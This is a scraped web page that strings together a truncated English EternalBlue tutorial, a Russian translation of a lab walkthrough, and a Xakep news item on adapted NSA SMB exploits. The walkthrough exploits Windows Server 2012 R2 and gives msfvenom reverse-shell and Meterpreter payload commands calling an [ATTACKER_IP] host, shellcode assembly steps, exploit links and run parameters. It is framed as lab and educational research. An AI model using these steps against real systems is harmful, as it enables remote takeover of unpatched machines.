- How to Attack Windows Server 2012 R2 Using Eternalblue
- How To Attack Windows Server 2012 R2 using Eternalblue
- Windows Server 2012 R2 Exploit
- 1 — Prepare the environment
- 2— Create our shellcode
- Как при помощи эксплоита ETERNALBLUE получить сессию в METERPRETER
- ИБ-специалист адаптировал эксплоиты АНБ для всех версий Windows
- Xakep #263. Кредитки в опасности
How to Attack Windows Server 2012 R2 Using Eternalblue
How To Attack Windows Server 2012 R2 using Eternalblue
Windows Server 2012 R2 Exploit
Hi Medium! Here we are again with a new article, today we will share a small tutorial where we attack a Windows Server 2012 R2 that it can be in many occasion the AD server of a company, In my last article I shared how we can attack Windows 7, if you want to read the article check this Link
Today we will use two ways the first we get a shell access and in the second we get a Meterpreter access:
1 — Prepare the environment
In this tutorial we need a Kali linux and a Windows Server 2012 R2, before we begin we need to run those command to update our kali OS
We need to power on the Windows Server and get his IP@. If you are in a Pentesting mission and you don’t have the IP target address you just need to run a network scan using nmap :
2— Create our shellcode
+ First we need to download the shell code developed by Sleepya from this link then we assemble it using nasm (you can download nasm from this link) with this command :
Как при помощи эксплоита ETERNALBLUE получить сессию в METERPRETER
С момента последней утечки 14 апреля 2017 года от группировки Shadow Brokers знаменитый ETERNALBLUE, кажется, был исследован всеми, кто интересуется исследованием и написанием эксплоитов.
Автор: Sheila A. Berta (@UnaPibaGeek)
Введение
С момента последней утечки 14 апреля 2017 года от группировки Shadow Brokers знаменитый ETERNALBLUE, кажется, был исследован всеми, кто интересуется исследованием и написанием эксплоитов. Потом за менее чем 2 месяца было опубликовано несколько работ с описанием работы этого эксплоита. В арсенал Metasploit была добавлена версия на основе исследований, выполненных Шоном Диллоном (Sean Dillon) и Диланом Дэвисом (Dylan Davis), которая работает в Windows 7 и Windows Server 2008 R2. Кроме того, исследователь “Sleepya” опубликовал на github версию ETERNALBLUE, написанную на Python, которая делает возможным осуществление атаки на Windows Server 2012 R2.
Поскольку на момент написания статьи еще не существовало объяснений того, как настраивать эксплоит от Sleepya, я решил исследовать этот вопрос и написать пошаговое руководство. Естественно, вся информация ниже представлена только в ознакомительных целях.
Настройка лабораторной среды
Для установки тестовой среды потребуется настройка следующих систем:
Система жертвы — Windows Server 2012 R2
Машина с установленной системой Windows Server 2012 R2 и 64-битным процессором будет использоваться в качестве целевой:
Рисунок 1: Параметры системы жертвы
После установки операционной системы нет необходимости вносить дополнительные изменения. Достаточно знать IP-адрес и включить машину в момент совершения атаки.
Система злоумышленника — GNU/Linux
Допускается использование любой операционной системы, где есть следующие инструменты:
В итоге мы имеем две системы:
- Windows Server 2012 R2 x64 – IP: 10.0.2.12 – Целевая система.
- GNU/Linux Debian x64 – IP: 10.0.2.6 – Система злоумышленника.
Подготовка шелл-кода
Первый шаг – сборка шелл-кода уровня ядра, разработанного для эксплоита ETERNALBLUE. Далее мы добавим шелл-код уровня пользователя, представляющего собой полезную нагрузку для Metasploit, которую нужно запустить на целевой машине.
Сборка шелл-кода уровня ядра
По ссылке ниже можно получить шелл-код уровня ядра, разработанный исследователем Sleepya:
https://gist.github.com/worawit/05105fce9e126ac9c85325f0b05d6501#file-eternalblue_x64_kshellcode-asm
Сохраняем .asm файл и при помощи следующей команды выполняем компиляцию шелл-кода: nasm -f bin kernel_shell_x64.asm.
Рисунок 2: Сборка шелл-кода уровня ядра
Генерирование шелл-кода уровня пользователя при помощи msfvenom
Модуль msfvenom будет использоваться для генерирования полезной нагрузки. В демонстративных целях мы будет осуществлять два вида атаки: вначале будем получать обратный шелл через TCP, а затем – сессию в meterpreter. В каждом случае полезная нагрузка будет генерироваться отдельно:
windows/x64/shell/reverse_tcp:
msfvenom -p windows/x64/shell/reverse_tcp -f raw -o shell_msf.bin EXITFUNC=thread LHOST=[ATTACKER_IP] LPORT=4444
Рисунок 3: Генерирование полезной нагрузки для получения обратного шелла
windows/x64/meterpreter/reverse_tcp:
msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o meterpreter_msf.bin EXITFUNC=thread LHOST=[ATTACKER_IP] LPORT=4444
Рисунок 4: Генерирование полезной нагрузки для получения сессии в Meterpreter
Объединения шелл-кода и полезной нагрузки
После того как шелл-код уровня ядра собран и нужная полезная нагрузки из Metasploit сгенерирована, необходимо выполнить объединение.
kernel shellcode + shell/reverse_tcp:
Рисунок 5: Объединение шелл-кода и полезной нагрузки для получения обратного шелла
kernel shellcode + meterpreter/reverse_tcp:
Рисунок 6: Объединение шелл-кода и полезной нагрузки для получения сессии в Meterpreter
После завершение обоих процессов у нас будет две полезные нагрузки, пригодные для различных типов атаки.
Получение обратного шелла
Естественно, мы будет пользоваться эксплоитом, созданным исследователем Sleepya, который можно скачать по следующей ссылке:
https://gist.github.com/worawit/074a27e90a3686506fc586249934a30e.
Эксплоит нужно сохранить с расширением .py на машине злоумышленника. Перед началом использования необходимо настроить Metasploit для получения обратного соединения шелл-кода в момент выполнения на целевой машине.
Рисунок 7: Настройка Metasploit в системе злоумышленника
Теперь у нас есть два способа воздействия на целевую машину.
Атака через гостевую учетную запись
По умолчанию в Windows Server 2012 R2 гостевая учетная четная запись не активна. В случае активации гостевого аккаунта администратором мы можем получить системный шелл на целевой машине.
Для начала откроем файл exploit.py в текстовом редакторе и пропишем использование гостевой учетной записи при аутентификации.
Рисунок 8: Настройка учетной записи, используемой при аутентификации
Как видно из рисунка выше, эти параметры настраиваются в строках 42-43.
После сохранения запускаем эксплоит со следующими параметрами:
python exploit.py reverse_shell.bin 500
Значение 500 соответствует параметру «numGroomConn». Настройка количество попутных соединений («Groom» connections) позволяет добиться смежности памяти пула ядра так, чтобы перезапись буфера оканчивалась в нужном месте и шелл-код выполнялся корректно.
Для шелл-кода на уровне пользователя установим значение параметра numGroomConn равным 500. Если обратное соединение не возникнет, попробуем увеличить это число.
Рисунок 9: Запуск эксплоита от имени гостевой учетной записи
После запуска эксплоита тут же получаем обратный шелл в терминале Metasploit.
Рисунок 10: Обратный шелл в терминале злоумышленника
Атака через обычную учетную запись
Другой способ добиться успешной эксплуатации – использование обычной учетной записи, полученной заранее от локального пользователя. Как и в случае с гостевой учетной записью уровень привилегий не имеет значения. Во время аутентификации шелл всегда будет системным.
Вновь открываем exploit.py и добавляем информацию об учетной записи локального пользователя.
Рисунок 11: Добавление учетной записи локального пользователя
Как и в предыдущем случае сохраняем файл и запускаем эксплоит.
Рисунок 12: Запуск эксплоита от имени локального пользователя
И получаем те же самые результаты.
Рисунок 13: Получение обратного шелла
Получение сессии в Meterpreter
Сейчас будет продемонстрирован наиболее долгожданный пример: получение сессии в meterpreter с правами администратора. Но вначале нужно настроить Metasploit на получение обратного соединения.
Рисунок 14: Настройка Metasploit
Во время атаки мы будем использовать гостевую учетную запись, однако, как и в предыдущем случае, возможно использовать любой другой рабочий аккаунт.
Рисунок 15: Добавление информации о гостевой учетной записи
Далее запускаем эксплоит со следующими параметрами:
python exploit.py meterpreter.bin 200
На этот раз значение параметра numGroomConn равно 200 с целью уменьшения количества соединений. Если эксплоит запустится корректно, но мы не получим сессию, можно попробовать увеличить это значение.
Рисунок 16: Запуск эксплоита
И тут же получаем meterpreter-сессию в терминале Metasploit.
Рисунок 17: Получение сессии в meterpreter
Заключение
В заключении мы получили шелл в Meterpreter с правами администратора в системе Windows Server 2012 R2. Некоторое время назад я написал те же самые слова в другой статье, но применительно к Windows 7 и Windows Server 2008 R2. Все говорит о том, что анализ, проведенный сообществом специалистов по безопасности, показал хорошие результаты. Однако в то же время администраторы вышеуказанных систем должны озаботиться дополнительными мерами безопасности для защиты своих инфраструктур.
ИБ-специалист адаптировал эксплоиты АНБ для всех версий Windows
Xakep #263. Кредитки в опасности
Весной 2017 года хакерская группа The Shadow Brokers опубликовала в открытом доступе «арсенал кибероружия», похищенный у американских спецслужб. Тогда хакеры обнародовали различные эксплоиты и инструменты, украденные у Equation Group – группировки, за которой стоят «правительственные хакеры» из АНБ. В результате достоянием широкой общественности стали такие опасные вещи, как эксплоит EternalBlue, направленный на эксплуатацию уязвимости в протоколе SMB (именно он использовался для распространения шифровальщика WannaCry в мае 2017 года, а затем во время атак NotPetya и Bad Rabbit).
Еще летом 2017 года специалисты компании RiskSense, Шон Диллон (Sean Dillon) и Дилан Девис (Dylan Davis) сообщили, что им удалось адаптировать эксплоит EternalBlue для работы с Windows 10. Напомню, что на тот момент инструмент для использования багов в SMB уже мог применяться для атак на Windows XP, Windows Vista, Windows 7, Windows Server 2003 и Windows Server 2008, хотя в некоторых случаях добиться заражения было весьма непросто. Также исследователям удалось модифицировать EternalBlue для работы с Windows 8, Windows 8.1 и Windows Server 2012.
Однако в опубликованном The Shadow Brokers дампе содержались и другие эксплоиты, чьи названия не столь известны, но потенциал тоже обширен. Все прошедшие месяцы Шон Диллон продолжал начатую в 2017 году работу и теперь сообщил об очередном успехе. Исследователю удалось скорректировать исходный код эксплоитов EternalChampion, EternalRomance и EternalSynergy таким образом, что теперь эти инструменты могут использоваться против любых версий Windows, 32-разрядных и 64-разрядных, вышедших за последние 18 лет (начиная с Windows 2000 и далее).
Диллон уже адаптировал результат своей работы для Metasploit и опубликовал исходные коды на GitHub. Так, CVE-2017-0146 (EternalChampion, EternalSynergy) позволяет спровоцировать состояние гонки через transaction-запросы, а CVE-2017-0143 (EternalRomance, EternalSynergy) эксплуатирует проблему типа type confusion между WriteAndX и transaction-запросами.
Диллон пишет, что эксплоиты работают против следующих, непропатченных версий Windows:
- Windows 2000 SP0 x86
- Windows 2000 Professional SP4 x86
- Windows 2000 Advanced Server SP4 x86
- Windows XP SP0 x86
- Windows XP SP1 x86
- Windows XP SP2 x86
- Windows XP SP3 x86
- Windows XP SP2 x64
- Windows Server 2003 SP0 x86
- Windows Server 2003 SP1 x86
- Windows Server 2003 Enterprise SP 2 x86
- Windows Server 2003 SP1 x64
- Windows Server 2003 R2 SP1 x86
- Windows Server 2003 R2 SP2 x86
- Windows Vista Home Premium x86
- Windows Vista x64
- Windows Server 2008 SP1 x86
- Windows Server 2008 x64
- Windows 7 x86
- Windows 7 Ultimate SP1 x86
- Windows 7 Enterprise SP1 x86
- Windows 7 SP0 x64
- Windows 7 SP1 x64
- Windows Server 2008 R2 x64
- Windows Server 2008 R2 SP1 x64
- Windows 8 x86
- Windows 8 x64
- Windows Server 2012 x64
- Windows 8.1 Enterprise Evaluation 9600 x86
- Windows 8.1 SP1 x86
- Windows 8.1 x64
- Windows 8.1 SP1 x64
- Windows Server 2012 R2 x86
- Windows Server 2012 R2 Standard 9600 x64
- Windows Server 2012 R2 SP1 x64
- Windows 10 Enterprise 10.10240 x86
- Windows 10 Enterprise 10.10240 x64
- Windows 10 10.10586 x86
- Windows 10 10.10586 x64
- Windows Server 2016 10.10586 x64
- Windows 10 10.0.14393 x86
- Windows 10 Enterprise Evaluation 10.14393 x64
- Windows Server 2016 Data Center 10.14393 x64
Эксперт подчеркивает, что данные инструменты были созданы исключительно в рамках научного исследования и предназначены для специалистов и разработки эффективных защитных практик. Использование этих эксплоитов для атак без явного согласия третьей стороны – противозаконно, и автор не несет никакой ответственности за подобные инциденты.